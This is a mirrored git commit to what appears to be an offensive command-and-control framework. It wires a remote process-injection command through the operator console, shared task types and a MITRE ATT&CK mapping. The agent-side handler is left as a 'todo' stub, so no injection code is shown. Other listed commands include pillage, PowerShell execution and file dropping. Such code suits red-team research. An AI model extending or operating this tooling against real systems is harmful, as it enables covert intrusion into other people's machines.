mirror of
https://github.com/0xflux/Wyrm
synced 2026-06-08 10:13:19 +00:00
Process injection wrap around
This commit is contained in:
@@ -147,6 +147,10 @@ pub async fn admin_dispatch(
|
||||
AdminCommand::StaticWof(name) => {
|
||||
task_agent::<String>(Command::StaticWof, Some(name), uid.unwrap(), state).await
|
||||
}
|
||||
AdminCommand::Inject(inject_inner) => {
|
||||
let ser = serde_json::to_string(&inject_inner).unwrap();
|
||||
task_agent::<String>(Command::StaticWof, Some(ser), uid.unwrap(), state).await
|
||||
}
|
||||
};
|
||||
|
||||
serde_json::to_vec(&result).unwrap()
|
||||
|
||||
@@ -177,6 +177,7 @@ fn command_to_string(cmd: &Command) -> String {
|
||||
Command::WhoAmI => "whoami",
|
||||
Command::Spawn => "Spawn",
|
||||
Command::StaticWof => "Static WOF",
|
||||
Command::Inject => "Inject",
|
||||
};
|
||||
|
||||
c.into()
|
||||
@@ -537,6 +538,17 @@ impl FormatOutput for NotificationForAgent {
|
||||
return vec!["An error occurred.".to_string()];
|
||||
}
|
||||
}
|
||||
Command::Inject => {
|
||||
if let Some(msg) = &self.result {
|
||||
let s = serde_json::from_str::<WyrmResult<String>>(msg).unwrap();
|
||||
match s {
|
||||
WyrmResult::Ok(s) => return vec![s],
|
||||
WyrmResult::Err(e) => return vec![format!("Error: {e}")],
|
||||
}
|
||||
} else {
|
||||
return vec!["An error occurred.".to_string()];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//
|
||||
|
||||
@@ -9,7 +9,7 @@ use crate::{
|
||||
net::{ApiError, IsTaskingAgent, IsTaskingAgentErr},
|
||||
tasks::task_impl::{
|
||||
FileOperationTarget, RegOperationDelQuery, TaskDispatchError, change_directory,
|
||||
clear_terminal, copy_file, dir_listing, dotex, export_db, file_dropper, kill_agent,
|
||||
clear_terminal, copy_file, dir_listing, dotex, export_db, file_dropper, inject, kill_agent,
|
||||
kill_process, list_processes, move_file, pillage, pull_file, pwd, reg_add, reg_query_del,
|
||||
remove_agent, remove_file, run_powershell_command, run_static_wof, set_sleep, show_help,
|
||||
show_help_for_command, show_server_time, spawn, unknown_command, whoami,
|
||||
@@ -115,6 +115,7 @@ async fn dispatcher(tokens: Vec<&str>, raw_input: String, agent: IsTaskingAgent)
|
||||
["whoami"] => whoami(&agent).await,
|
||||
["spawn", _p @ ..] => spawn(raw_input, &agent).await,
|
||||
["wof", _p @ ..] => run_static_wof(&agent, raw_input).await,
|
||||
["inject", _p @ ..] => inject(&agent, raw_input).await,
|
||||
_ => unknown_command(),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,7 +4,10 @@ use chrono::{DateTime, Utc};
|
||||
use leptos::prelude::{Read, RwSignal, Update, Write, use_context};
|
||||
use shared::{
|
||||
task_types::{RegAddInner, RegQueryInner, RegType},
|
||||
tasks::{AdminCommand, DELIM_FILE_DROP_METADATA, DotExInner, FileDropMetadata, WyrmResult},
|
||||
tasks::{
|
||||
AdminCommand, DELIM_FILE_DROP_METADATA, DotExInner, FileDropMetadata, InjectInner,
|
||||
WyrmResult,
|
||||
},
|
||||
};
|
||||
use thiserror::Error;
|
||||
|
||||
@@ -865,3 +868,38 @@ pub async fn run_static_wof(agent: &IsTaskingAgent, raw_input: String) -> Dispat
|
||||
.await?,
|
||||
))
|
||||
}
|
||||
|
||||
pub async fn inject(agent: &IsTaskingAgent, raw_input: String) -> DispatchResult {
|
||||
agent.has_agent_id()?;
|
||||
|
||||
let (payload, pid_as_string) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop)
|
||||
{
|
||||
Some(mut inner) => (take(&mut inner[0]), (take(&mut inner[1]))),
|
||||
None => {
|
||||
return Err(TaskingError::TaskDispatchError(
|
||||
TaskDispatchError::BadTokens("Could not get data from tokens in move_file.".into()),
|
||||
));
|
||||
}
|
||||
};
|
||||
|
||||
let Ok(pid) = pid_as_string.parse::<u32>() else {
|
||||
return Err(TaskingError::TaskDispatchError(
|
||||
TaskDispatchError::BadTokens(format!(
|
||||
"Could not parse PID to a u32. Got: {pid_as_string}"
|
||||
)),
|
||||
));
|
||||
};
|
||||
|
||||
let inner = InjectInner { payload, pid };
|
||||
|
||||
Ok(Some(
|
||||
api_request(
|
||||
AdminCommand::Inject(inner),
|
||||
agent,
|
||||
None,
|
||||
C2Url::Standard,
|
||||
None,
|
||||
)
|
||||
.await?,
|
||||
))
|
||||
}
|
||||
|
||||
@@ -373,6 +373,10 @@ impl Wyrm {
|
||||
|
||||
self.push_completed_task(&task, Some(result));
|
||||
}
|
||||
Command::Inject => {
|
||||
// todo
|
||||
self.push_completed_task::<String>(&task, None);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -55,6 +55,8 @@ pub enum Command {
|
||||
ConsoleMessages,
|
||||
Spawn,
|
||||
StaticWof,
|
||||
/// Perform remote process injection
|
||||
Inject,
|
||||
// This should be totally unreachable; but keeping to make sure we don't get any weird UB, and
|
||||
// make sure it is itemised last in the enum
|
||||
Undefined,
|
||||
@@ -195,6 +197,7 @@ impl Display for Command {
|
||||
Command::WhoAmI => "whoami",
|
||||
Command::Spawn => "SpawnChild",
|
||||
Command::StaticWof => "StaticWof",
|
||||
Command::Inject => "Inject",
|
||||
};
|
||||
|
||||
write!(f, "{choice}")
|
||||
@@ -208,6 +211,15 @@ pub struct DotExInner {
|
||||
pub args: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Serialize, Deserialize, Clone)]
|
||||
#[serde(rename = "1")]
|
||||
pub struct InjectInner {
|
||||
#[serde(rename = "2")]
|
||||
pub payload: String,
|
||||
#[serde(rename = "3")]
|
||||
pub pid: u32,
|
||||
}
|
||||
|
||||
impl DotExInner {
|
||||
pub fn from(tool_path: String, args: Vec<String>) -> Self {
|
||||
Self { tool_path, args }
|
||||
@@ -250,6 +262,7 @@ pub enum AdminCommand {
|
||||
WhoAmI,
|
||||
Spawn(String),
|
||||
StaticWof(String),
|
||||
Inject(InjectInner),
|
||||
/// Used for dispatching no admin command, but to be handled via a custom route on the C2
|
||||
None,
|
||||
Undefined,
|
||||
|
||||
@@ -56,6 +56,7 @@ pub fn command_to_string(cmd: &Command) -> String {
|
||||
Command::WhoAmI => "whoami",
|
||||
Command::Spawn => "Spawn",
|
||||
Command::StaticWof => "Static WOF",
|
||||
Command::Inject => "Inject",
|
||||
};
|
||||
|
||||
c.into()
|
||||
@@ -243,13 +244,18 @@ impl<'a> MapToMitre<'a> for Command {
|
||||
"Process Injection",
|
||||
"https://attack.mitre.org/techniques/T1055/",
|
||||
),
|
||||
// This was the closest I could find for a WOF
|
||||
Command::StaticWof => MitreTTP::from(
|
||||
"T1027",
|
||||
None,
|
||||
" Obfuscated Files or Information",
|
||||
"Obfuscated Files or Information",
|
||||
"https://attack.mitre.org/techniques/T1027/",
|
||||
),
|
||||
Command::Inject => MitreTTP::from(
|
||||
"T1055",
|
||||
None,
|
||||
"Process Injection",
|
||||
"https://attack.mitre.org/techniques/T1055/",
|
||||
),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user